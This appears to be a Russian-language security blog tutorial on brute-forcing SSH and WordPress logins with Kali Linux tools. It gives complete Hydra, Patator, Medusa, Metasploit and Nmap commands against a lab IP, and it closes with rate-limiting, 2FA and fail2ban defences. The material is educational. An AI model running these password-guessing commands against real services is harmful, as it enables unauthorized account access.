January 2, 2019

Brute-force атаки с использованием Kali Linux

Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.

Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, Hydra, Metasploit), а также BurpSuite.

Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.

Brute-force SSH

Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.


Patator

Для подбора пароля средствами Patator используем команду:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’

где:

ssh_login — необходимый модуль

host – наша цель

user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора

password – словарь с паролями

-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.


Hydra

Для подбора пароля используя Hydra выполним команду:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

где:

-V – показывать пару логин+пароль во время перебора

-f – остановка как только будет найден пароль для указанного логина

-P – путь до словаря с паролями

ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы


Medusa

Для подбора пароля с использованием Medusa выполним команду:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

где:

-h – IP-адрес жертвы

-u – логин

-P – путь к словарю

-M – выбор модуля

-f – остановка после нахождения валидной пары логин/пароль

-v – настройка отображения сообщений на экране во время процесса подбора


Metasploit

Произведем поиск инструмента для проведения brute-force атаки по SSH:

search ssh_login и получили ответ:

Задействуем модуль:

use auxiliary/scanner/ssh/ssh_login

Для просмотра необходимых параметров, воспользуемся командой show options. Для нас это:

rhosts – IP-адрес жертвы

rport – порт

username – логин SSH

userpass_file – путь до словаря

stop_on_success – остановка, как только найдется пара логин/пароль

threads – количество потоков

Указание необходимых параметров производится через команду "set".

set rhosts 192.168.60.50

set username test

set userpass_file /root/wordlist

set stop_on_success yes

set threads 4

set rport 22

Указав необходимые параметры набираем команду "run" и ждем.

Противодействие

Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset.

Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.

Brute-force WordPress

Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.

Для примера будем подбирать пароль от учетной записи администратора wordpress.


BurpSuite

Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.

Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.

В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.

Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.

Загружаем необходимый словарь и начинаем атаку.

Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.

Данный метод перебора занимает намного больше времени, чем при использовании Patator, Hydra, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.


Hydra

Попробуем подобрать пароль с помощью Hydra.

Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.

Для запуска используем команду:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

Здесь мы указываем обязательные параметры:

-l – имя пользователя

-P – словарь с паролями

-t – количество потоков

http-post-form – тип формы, у нас POST.

/wp-login.php – это URL страницы с авторизацией

^USER^ — показывает куда подставлять имя пользователя

^PASS^ — показывает куда подставлять пароль из словаря

S=302 – указание на какой ответ опираться Hydra. В нашем случае, ответ 302 при успешной авторизац��и.


Patator

Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с Hydra:

Запуск производится командой:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz – модуль для brute-force атаки http

url – адрес страницы с авторизацией

FILE0 — путь до словаря с паролями

body – информация, которая передается в POST запросе при авторизации

-t — количество потоков

-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200

accept_cookie – сохранение параметра cookie и передачи его в следующий запрос

Как итог – нам удалось подобрать пароль.


Nmap

Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами:

--script-args – добавление аргументов

user или userdb – логин или файла с логинами

pass или passdb — указание пароля или словаря

thread – количество потоков

firstonly=true – выводить результат после первого же правильного пароля

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

Противодействие

Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:

...

limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;

...

и задействовать ее:

location / {

...

limit_req zone=req_limits burst=10;

limit_req_status 429;

...

}

Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.

Усложнить задачу перебора можно используя следующие методы:

— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.

— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).

Заключение

В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:

— используйте устойчивые к подбору пароли;

— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;

— регулярно меняйте пароль;

— на всех аккаунтах применяйте уникальные пароли.

Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:

— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);

— использовать двухфакторную аутентификацию;

— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).